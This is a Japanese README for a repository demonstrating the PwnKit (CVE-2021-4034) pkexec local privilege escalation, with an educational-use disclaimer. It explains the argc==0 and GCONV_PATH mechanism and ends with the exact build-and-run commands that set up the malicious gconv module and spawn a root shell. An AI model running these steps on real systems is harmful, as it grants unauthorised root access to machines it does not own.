
このリポジトリは、CVE-2021-4034の脆弱性を悪用する方法を示しています。
このリポジトリには、CVE-2021-4034(別名 PwnKit)のエクスプロイトを実証するソースコードが含まれています。この脆弱性は pkexec(Polkitパッケージの一部)で発見され、悪意のある環境変数を使用することでローカル権限昇格をrootに許可します。
このコードは教育および研究目的でのみ提供されています。本番システムや明示的な許可なく使用してはなりません。不正使用は違法となる可能性があり、作者の利用規約に反します。
この脆弱性は、pkexec が引数なしで実行された場合(すなわち argc == 0)に発生します。この場合、pkexec は argv[0] の存在を確認せずに argv[1] にアクセスしようとし、その結果 envp[0] から読み取ります。これにより攻撃者は:
GCONV_PATH などの環境変数の読み取りと上書きが可能。.so ライブラリを強制的に読み込ませ、rootとしてコードを実行。エクスプロイトはこの状態を利用して、rootユーザーとしてシェルを開く悪意のあるライブラリを読み込みます。
cve-2021-4034.c: argv[] = {NULL} と変更された環境変数で pkexec を呼び出すエクスプロイトのソースコード。pwnkit.c: rootとしてシェルを開く悪意のあるライブラリのソースコード。gcc -Wall -o cve-2021-4034 cve-2021-4034.c
gcc -Wall -shared -fPIC -o pwnkit.so pwnkit.c
mkdir GCONV_PATH=.
echo 'module UTF-8// PWNKIT// pwnkit 1' > gconv-modules
cp $(which true) GCONV_PATH=./pwnkit.so:.
./cve-2021-4034